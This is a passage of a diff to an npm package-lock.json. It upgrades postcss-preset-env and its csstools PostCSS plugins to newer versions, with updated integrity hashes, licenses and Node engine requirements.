+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz",
+ "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
"node_modules/postcss-discard-comments": {
"version": "5.1.2",
"resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz",
@@ -34595,9 +36409,9 @@
}
},
"node_modules/postcss-double-position-gradients": {
- "version": "4.0.4",
- "resolved": "https://registry.npmjs.org/postcss-double-position-gradients/-/postcss-double-position-gradients-4.0.4.tgz",
- "integrity": "sha512-nUAbUXURemLXIrl4Xoia2tiu5z/n8sY+BVDZApoeT9BlpByyrp02P/lFCRrRvZ/zrGRE+MOGLhk8o7VcMCtPtQ==",
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-double-position-gradients/-/postcss-double-position-gradients-7.0.0.tgz",
+ "integrity": "sha512-Msr/dxj8Os7KLJE5Hdhvprwm3K5Zrh1KTY0eFN3ngPKNkej/Usy4BM9JQmqE6CLAkDpHoQVsi4snbL72CPt6qg==",
"dev": true,
"funding": [
{
@@ -34609,55 +36423,99 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/postcss-progressive-custom-properties": "^2.3.0",
+ "@csstools/postcss-progressive-custom-properties": "^5.0.0",
+ "@csstools/utilities": "^3.0.0",
"postcss-value-parser": "^4.2.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/postcss-focus-visible": {
- "version": "8.0.2",
- "resolved": "https://registry.npmjs.org/postcss-focus-visible/-/postcss-focus-visible-8.0.2.tgz",
- "integrity": "sha512-f/Vd+EC/GaKElknU59esVcRYr/Y3t1ZAQyL4u2xSOgkDy4bMCmG7VP5cGvj3+BTLNE9ETfEuz2nnt4qkZwTTeA==",
+ "version": "11.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-focus-visible/-/postcss-focus-visible-11.0.0.tgz",
+ "integrity": "sha512-VG1a9kBKizUBWS66t5xyB4uLONBnvZLCmZXxT40FALu8EF0QgVZBYy5ApC0KhmpHsv+pvHMJHB3agKHwmocWjw==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"dependencies": {
- "postcss-selector-parser": "^6.0.10"
+ "postcss-selector-parser": "^7.1.1"
},
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
- "node_modules/postcss-focus-within": {
- "version": "7.0.2",
- "resolved": "https://registry.npmjs.org/postcss-focus-within/-/postcss-focus-within-7.0.2.tgz",
- "integrity": "sha512-AHAJ89UQBcqBvFgQJE9XasGuwMNkKsGj4D/f9Uk60jFmEBHpAL14DrnSk3Rj+SwZTr/WUG+mh+Rvf8fid/346w==",
+ "node_modules/postcss-focus-visible/node_modules/postcss-selector-parser": {
+ "version": "7.1.1",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz",
+ "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "postcss-selector-parser": "^6.0.10"
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=4"
+ }
+ },
+ "node_modules/postcss-focus-within": {
+ "version": "10.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-focus-within/-/postcss-focus-within-10.0.0.tgz",
+ "integrity": "sha512-dvql0fzUTG+gcJYp+KTbag5vAjuo94LDYZHkqDV1rnf5gPGer1v/SrmIZBdvKU8moep3HbcbujqGjzSb3DL53Q==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "postcss-selector-parser": "^7.1.1"
},
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "engines": {
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
+ "node_modules/postcss-focus-within/node_modules/postcss-selector-parser": {
+ "version": "7.1.1",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz",
+ "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
"node_modules/postcss-font-variant": {
"version": "5.0.0",
"resolved": "https://registry.npmjs.org/postcss-font-variant/-/postcss-font-variant-5.0.0.tgz",
@@ -34668,35 +36526,50 @@
}
},
"node_modules/postcss-gap-properties": {
- "version": "4.0.1",
- "resolved": "https://registry.npmjs.org/postcss-gap-properties/-/postcss-gap-properties-4.0.1.tgz",
- "integrity": "sha512-V5OuQGw4lBumPlwHWk/PRfMKjaq/LTGR4WDTemIMCaMevArVfCCA9wBJiL1VjDAd+rzuCIlkRoRvDsSiAaZ4Fg==",
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-gap-properties/-/postcss-gap-properties-7.0.0.tgz",
+ "integrity": "sha512-PSDF2QoZMRUbsINvXObQgxx4HExRP85QTT8qS/YN9fBsCPWCqUuwqAD6E6PNp0BqL/jU1eyWUBORaOK/J/9LDA==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/postcss-image-set-function": {
- "version": "5.0.2",
- "resolved": "https://registry.npmjs.org/postcss-image-set-function/-/postcss-image-set-function-5.0.2.tgz",
- "integrity": "sha512-Sszjwo0ubETX0Fi5MvpYzsONwrsjeabjMoc5YqHvURFItXgIu3HdCjcVuVKGMPGzKRhgaknmdM5uVWInWPJmeg==",
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-image-set-function/-/postcss-image-set-function-8.0.0.tgz",
+ "integrity": "sha512-rEGNkOkNusf4+IuMmfEoIdLuVmvbExGbmG+MIsyV6jR5UaWSoyPcAYHV/PxzVDCmudyF+2Nh/o6Ub2saqUdnuA==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"dependencies": {
+ "@csstools/utilities": "^3.0.0",
"postcss-value-parser": "^4.2.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
@@ -34718,15 +36591,6 @@
"postcss": "^8.0.0"
}
},
- "node_modules/postcss-initial": {
- "version": "4.0.1",
- "resolved": "https://registry.npmjs.org/postcss-initial/-/postcss-initial-4.0.1.tgz",
- "integrity": "sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ==",
- "dev": true,
- "peerDependencies": {
- "postcss": "^8.0.0"
- }
- },
"node_modules/postcss-js": {
"version": "4.0.1",
"resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz",
@@ -34746,9 +36610,9 @@
}
},
"node_modules/postcss-lab-function": {
- "version": "5.2.3",
- "resolved": "https://registry.npmjs.org/postcss-lab-function/-/postcss-lab-function-5.2.3.tgz",
- "integrity": "sha512-fi32AYKzji5/rvgxo5zXHFvAYBw0u0OzELbeCNjEZVLUir18Oj+9RmNphtM8QdLUaUnrfx8zy8vVYLmFLkdmrQ==",
+ "version": "8.0.2",
+ "resolved": "https://registry.npmjs.org/postcss-lab-function/-/postcss-lab-function-8.0.2.tgz",
+ "integrity": "sha512-1ZIAh8ODhZdnAb09Aq2BTenePKS1G/kUR0FwvzkQDfFtSOV64Ycv27YvV11fDycEvhIcEmgYkLABXKRiWcXRuA==",
"dev": true,
"funding": [
{
@@ -34760,14 +36624,16 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/css-color-parser": "^1.2.0",
- "@csstools/css-parser-algorithms": "^2.1.1",
- "@csstools/css-tokenizer": "^2.1.1",
- "@csstools/postcss-progressive-custom-properties": "^2.3.0"
+ "@csstools/css-color-parser": "^4.0.2",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/postcss-progressive-custom-properties": "^5.0.0",
+ "@csstools/utilities": "^3.0.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
@@ -34816,9 +36682,9 @@
}
},
"node_modules/postcss-logical": {
- "version": "6.2.0",
- "resolved": "https://registry.npmjs.org/postcss-logical/-/postcss-logical-6.2.0.tgz",
- "integrity": "sha512-aqlfKGaY0nnbgI9jwUikp4gJKBqcH5noU/EdnIVceghaaDPYhZuyJVxlvWNy55tlTG5tunRKCTAX9yljLiFgmw==",
+ "version": "9.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-logical/-/postcss-logical-9.0.0.tgz",
+ "integrity": "sha512-A4LNd9dk3q/juEUA9Gd8ALhBO3TeOeYurnyHLlf2aAToD94VHR8c5Uv7KNmf8YVRhTxvWsyug4c5fKtARzyIRQ==",
"dev": true,
"funding": [
{
@@ -34830,11 +36696,12 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"dependencies": {
"postcss-value-parser": "^4.2.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
@@ -35074,9 +36941,9 @@
}
},
"node_modules/postcss-nesting": {
- "version": "11.3.0",
- "resolved": "https://registry.npmjs.org/postcss-nesting/-/postcss-nesting-11.3.0.tgz",
- "integrity": "sha512-JlS10AQm/RzyrUGgl5irVkAlZYTJ99mNueUl+Qab+TcHhVedLiylWVkKBhRale+rS9yWIJK48JVzQlq3LcSdeA==",
+ "version": "14.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-nesting/-/postcss-nesting-14.0.0.tgz",
+ "integrity": "sha512-YGFOfVrjxYfeGTS5XctP1WCI5hu8Lr9SmntjfRC+iX5hCihEO+QZl9Ra+pkjqkgoVdDKvb2JccpElcowhZtzpw==",
"dev": true,
"funding": [
{
@@ -35088,17 +36955,79 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/selector-specificity": "^2.0.0",
- "postcss-selector-parser": "^6.0.10"
+ "@csstools/selector-resolve-nested": "^4.0.0",
+ "@csstools/selector-specificity": "^6.0.0",
+ "postcss-selector-parser": "^7.1.1"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
+ "node_modules/postcss-nesting/node_modules/@csstools/selector-resolve-nested": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/selector-resolve-nested/-/selector-resolve-nested-4.0.0.tgz",
+ "integrity": "sha512-9vAPxmp+Dx3wQBIUwc1v7Mdisw1kbbaGqXUM8QLTgWg7SoPGYtXBsMXvsFs/0Bn5yoFhcktzxNZGNaUt0VjgjA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "engines": {
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss-selector-parser": "^7.1.1"
+ }
+ },
+ "node_modules/postcss-nesting/node_modules/@csstools/selector-specificity": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-6.0.0.tgz",
+ "integrity": "sha512-4sSgl78OtOXEX/2d++8A83zHNTgwCJMaR24FvsYL7Uf/VS8HZk9PTwR51elTbGqMuwH3szLvvOXEaVnqn0Z3zA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "engines": {
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss-selector-parser": "^7.1.1"
+ }
+ },
+ "node_modules/postcss-nesting/node_modules/postcss-selector-parser": {
+ "version": "7.1.1",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz",
+ "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
"node_modules/postcss-normalize-charset": {
"version": "5.1.0",
"resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz",
@@ -35243,9 +37172,9 @@
}
},
"node_modules/postcss-opacity-percentage": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/postcss-opacity-percentage/-/postcss-opacity-percentage-2.0.0.tgz",
- "integrity": "sha512-lyDrCOtntq5Y1JZpBFzIWm2wG9kbEdujpNt4NLannF+J9c8CgFIzPa80YQfdza+Y+yFfzbYj/rfoOsYsooUWTQ==",
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-opacity-percentage/-/postcss-opacity-percentage-3.0.0.tgz",
+ "integrity": "sha512-K6HGVzyxUxd/VgZdX04DCtdwWJ4NGLG212US4/LA1TLAbHgmAsTWVR86o+gGIbFtnTkfOpb9sCRBx8K7HO66qQ==",
"dev": true,
"funding": [
{
@@ -35257,11 +37186,12 @@
"url": "https://liberapay.com/mrcgrtz"
}
],
+ "license": "MIT",
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=18"
},
"peerDependencies": {
- "postcss": "^8.2"
+ "postcss": "^8.4"
}
},
"node_modules/postcss-ordered-values": {
@@ -35282,19 +37212,26 @@
}
},
"node_modules/postcss-overflow-shorthand": {
- "version": "4.0.1",
- "resolved": "https://registry.npmjs.org/postcss-overflow-shorthand/-/postcss-overflow-shorthand-4.0.1.tgz",
- "integrity": "sha512-HQZ0qi/9iSYHW4w3ogNqVNr2J49DHJAl7r8O2p0Meip38jsdnRPgiDW7r/LlLrrMBMe3KHkvNtAV2UmRVxzLIg==",
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-overflow-shorthand/-/postcss-overflow-shorthand-7.0.0.tgz",
+ "integrity": "sha512-9SLpjoUdGRoRrzoOdX66HbUs0+uDwfIAiXsRa7piKGOqPd6F4ZlON9oaDSP5r1Qpgmzw5L9Ht0undIK6igJPMA==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"dependencies": {
"postcss-value-parser": "^4.2.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
@@ -35310,28 +37247,9 @@
}
},
"node_modules/postcss-place": {
- "version": "8.0.1",
- "resolved": "https://registry.npmjs.org/postcss-place/-/postcss-place-8.0.1.tgz",
- "integrity": "sha512-Ow2LedN8sL4pq8ubukO77phSVt4QyCm35ZGCYXKvRFayAwcpgB0sjNJglDoTuRdUL32q/ZC1VkPBo0AOEr4Uiw==",
- "dev": true,
- "dependencies": {
- "postcss-value-parser": "^4.2.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
- },
- "peerDependencies": {
- "postcss": "^8.4"
- }
- },
- "node_modules/postcss-preset-env": {
- "version": "8.5.1",
- "resolved": "https://registry.npmjs.org/postcss-preset-env/-/postcss-preset-env-8.5.1.tgz",
- "integrity": "sha512-qhWnJJjP6ArLUINWJ38t6Aftxnv9NW6cXK0NuwcLCcRilbuw72dSFLkCVUJeCfHGgJiKzX+pnhkGiki0PEynWg==",
+ "version": "11.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-place/-/postcss-place-11.0.0.tgz",
+ "integrity": "sha512-fAifpyjQ+fuDRp2nmF95WbotqbpjdazebedahXdfBxy5sHembOLpBQ1cHveZD9ZmjK26tYM8tikeNaUlp/KfHA==",
"dev": true,
"funding": [
{
@@ -35343,90 +37261,220 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/postcss-cascade-layers": "^3.0.1",
- "@csstools/postcss-color-function": "^2.2.3",
- "@csstools/postcss-color-mix-function": "^1.0.3",
- "@csstools/postcss-font-format-keywords": "^2.0.2",
- "@csstools/postcss-gradients-interpolation-method": "^3.0.6",
- "@csstools/postcss-hwb-function": "^2.2.2",
- "@csstools/postcss-ic-unit": "^2.0.4",
- "@csstools/postcss-is-pseudo-class": "^3.2.1",
- "@csstools/postcss-logical-float-and-clear": "^1.0.1",
- "@csstools/postcss-logical-resize": "^1.0.1",
- "@csstools/postcss-logical-viewport-units": "^1.0.3",
- "@csstools/postcss-media-minmax": "^1.0.4",
- "@csstools/postcss-media-queries-aspect-ratio-number-values": "^1.0.4",
- "@csstools/postcss-nested-calc": "^2.0.2",
- "@csstools/postcss-normalize-display-values": "^2.0.1",
- "@csstools/postcss-oklab-function": "^2.2.3",
- "@csstools/postcss-progressive-custom-properties": "^2.3.0",
- "@csstools/postcss-relative-color-syntax": "^1.0.2",
- "@csstools/postcss-scope-pseudo-class": "^2.0.2",
- "@csstools/postcss-stepped-value-functions": "^2.1.1",
- "@csstools/postcss-text-decoration-shorthand": "^2.2.4",
- "@csstools/postcss-trigonometric-functions": "^2.1.1",
- "@csstools/postcss-unset-value": "^2.0.1",
- "autoprefixer": "^10.4.14",
- "browserslist": "^4.21.9",
- "css-blank-pseudo": "^5.0.2",
- "css-has-pseudo": "^5.0.2",
- "css-prefers-color-scheme": "^8.0.2",
- "cssdb": "^7.6.0",
- "postcss-attribute-case-insensitive": "^6.0.2",
- "postcss-clamp": "^4.1.0",
- "postcss-color-functional-notation": "^5.1.0",
- "postcss-color-hex-alpha": "^9.0.2",
- "postcss-color-rebeccapurple": "^8.0.2",
- "postcss-custom-media": "^9.1.5",
- "postcss-custom-properties": "^13.2.0",
- "postcss-custom-selectors": "^7.1.3",
- "postcss-dir-pseudo-class": "^7.0.2",
- "postcss-double-position-gradients": "^4.0.4",
- "postcss-focus-visible": "^8.0.2",
- "postcss-focus-within": "^7.0.2",
- "postcss-font-variant": "^5.0.0",
- "postcss-gap-properties": "^4.0.1",
- "postcss-image-set-function": "^5.0.2",
- "postcss-initial": "^4.0.1",
- "postcss-lab-function": "^5.2.3",
- "postcss-logical": "^6.2.0",
- "postcss-nesting": "^11.3.0",
- "postcss-opacity-percentage": "^2.0.0",
- "postcss-overflow-shorthand": "^4.0.1",
- "postcss-page-break": "^3.0.4",
- "postcss-place": "^8.0.1",
- "postcss-pseudo-class-any-link": "^8.0.2",
- "postcss-replace-overflow-wrap": "^4.0.0",
- "postcss-selector-not": "^7.0.1",
"postcss-value-parser": "^4.2.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
- "node_modules/postcss-pseudo-class-any-link": {
- "version": "8.0.2",
- "resolved": "https://registry.npmjs.org/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-8.0.2.tgz",
- "integrity": "sha512-FYTIuRE07jZ2CW8POvctRgArQJ43yxhr5vLmImdKUvjFCkR09kh8pIdlCwdx/jbFm7MiW4QP58L4oOUv3grQYA==",
+ "node_modules/postcss-preset-env": {
+ "version": "11.2.0",
+ "resolved": "https://registry.npmjs.org/postcss-preset-env/-/postcss-preset-env-11.2.0.tgz",
+ "integrity": "sha512-eNYpuj68cjGjvZMoSAbHilaCt3yIyzBL1cVuSGJfvJewsaBW/U6dI2bqCJl3iuZsL+yvBobcy4zJFA/3I68IHQ==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"dependencies": {
- "postcss-selector-parser": "^6.0.10"
+ "@csstools/postcss-alpha-function": "^2.0.3",
+ "@csstools/postcss-cascade-layers": "^6.0.0",
+ "@csstools/postcss-color-function": "^5.0.2",
+ "@csstools/postcss-color-function-display-p3-linear": "^2.0.2",
+ "@csstools/postcss-color-mix-function": "^4.0.2",
+ "@csstools/postcss-color-mix-variadic-function-arguments": "^2.0.2",
+ "@csstools/postcss-content-alt-text": "^3.0.0",
+ "@csstools/postcss-contrast-color-function": "^3.0.2",
+ "@csstools/postcss-exponential-functions": "^3.0.1",
+ "@csstools/postcss-font-format-keywords": "^5.0.0",
+ "@csstools/postcss-font-width-property": "^1.0.0",
+ "@csstools/postcss-gamut-mapping": "^3.0.2",
+ "@csstools/postcss-gradients-interpolation-method": "^6.0.2",
+ "@csstools/postcss-hwb-function": "^5.0.2",
+ "@csstools/postcss-ic-unit": "^5.0.0",
+ "@csstools/postcss-initial": "^3.0.0",
+ "@csstools/postcss-is-pseudo-class": "^6.0.0",
+ "@csstools/postcss-light-dark-function": "^3.0.0",
+ "@csstools/postcss-logical-float-and-clear": "^4.0.0",
+ "@csstools/postcss-logical-overflow": "^3.0.0",
+ "@csstools/postcss-logical-overscroll-behavior": "^3.0.0",
+ "@csstools/postcss-logical-resize": "^4.0.0",
+ "@csstools/postcss-logical-viewport-units": "^4.0.0",
+ "@csstools/postcss-media-minmax": "^3.0.1",
+ "@csstools/postcss-media-queries-aspect-ratio-number-values": "^4.0.0",
+ "@csstools/postcss-mixins": "^1.0.0",
+ "@csstools/postcss-nested-calc": "^5.0.0",
+ "@csstools/postcss-normalize-display-values": "^5.0.1",
+ "@csstools/postcss-oklab-function": "^5.0.2",
+ "@csstools/postcss-position-area-property": "^2.0.0",
+ "@csstools/postcss-progressive-custom-properties": "^5.0.0",
+ "@csstools/postcss-property-rule-prelude-list": "^2.0.0",
+ "@csstools/postcss-random-function": "^3.0.1",
+ "@csstools/postcss-relative-color-syntax": "^4.0.2",
+ "@csstools/postcss-scope-pseudo-class": "^5.0.0",
+ "@csstools/postcss-sign-functions": "^2.0.1",
+ "@csstools/postcss-stepped-value-functions": "^5.0.1",
+ "@csstools/postcss-syntax-descriptor-syntax-production": "^2.0.0",
+ "@csstools/postcss-system-ui-font-family": "^2.0.0",
+ "@csstools/postcss-text-decoration-shorthand": "^5.0.3",
+ "@csstools/postcss-trigonometric-functions": "^5.0.1",
+ "@csstools/postcss-unset-value": "^5.0.0",
+ "autoprefixer": "^10.4.24",
+ "browserslist": "^4.28.1",
+ "css-blank-pseudo": "^8.0.1",
+ "css-has-pseudo": "^8.0.0",
+ "css-prefers-color-scheme": "^11.0.0",
+ "cssdb": "^8.8.0",
+ "postcss-attribute-case-insensitive": "^8.0.0",
+ "postcss-clamp": "^4.1.0",
+ "postcss-color-functional-notation": "^8.0.2",
+ "postcss-color-hex-alpha": "^11.0.0",
+ "postcss-color-rebeccapurple": "^11.0.0",
+ "postcss-custom-media": "^12.0.1",
+ "postcss-custom-properties": "^15.0.1",
+ "postcss-custom-selectors": "^9.0.1",
+ "postcss-dir-pseudo-class": "^10.0.0",
+ "postcss-double-position-gradients": "^7.0.0",
+ "postcss-focus-visible": "^11.0.0",
+ "postcss-focus-within": "^10.0.0",
+ "postcss-font-variant": "^5.0.0",
+ "postcss-gap-properties": "^7.0.0",
+ "postcss-image-set-function": "^8.0.0",
+ "postcss-lab-function": "^8.0.2",
+ "postcss-logical": "^9.0.0",
+ "postcss-nesting": "^14.0.0",
+ "postcss-opacity-percentage": "^3.0.0",
+ "postcss-overflow-shorthand": "^7.0.0",
+ "postcss-page-break": "^3.0.4",
+ "postcss-place": "^11.0.0",
+ "postcss-pseudo-class-any-link": "^11.0.0",
+ "postcss-replace-overflow-wrap": "^4.0.0",
+ "postcss-selector-not": "^9.0.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
+ "node_modules/postcss-preset-env/node_modules/browserslist": {
+ "version": "4.28.1",
+ "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz",
+ "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/browserslist"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/browserslist"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "baseline-browser-mapping": "^2.9.0",
+ "caniuse-lite": "^1.0.30001759",
+ "electron-to-chromium": "^1.5.263",
+ "node-releases": "^2.0.27",
+ "update-browserslist-db": "^1.2.0"
+ },
+ "bin": {
+ "browserslist": "cli.js"
+ },
+ "engines": {
+ "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"
+ }
+ },
+ "node_modules/postcss-preset-env/node_modules/update-browserslist-db": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz",
+ "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/browserslist"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/browserslist"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "escalade": "^3.2.0",
+ "picocolors": "^1.1.1"
+ },
+ "bin": {
+ "update-browserslist-db": "cli.js"
+ },
+ "peerDependencies": {
+ "browserslist": ">= 4.21.0"
+ }
+ },
+ "node_modules/postcss-pseudo-class-any-link": {
+ "version": "11.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-11.0.0.tgz",
+ "integrity": "sha512-DNFZ4GMa3C3pU5dM+UCTG1CEeLtS1ZqV5DKSqCTJQMn1G5jnd/30fS8+A7H4o5bSD3MOcnx+VgI+xPE9Z5Wvig==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "postcss-selector-parser": "^7.1.1"
+ },
+ "engines": {
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/postcss-pseudo-class-any-link/node_modules/postcss-selector-parser": {
+ "version": "7.1.1",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz",
+ "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
"node_modules/postcss-reduce-initial": {
"version": "5.1.2",
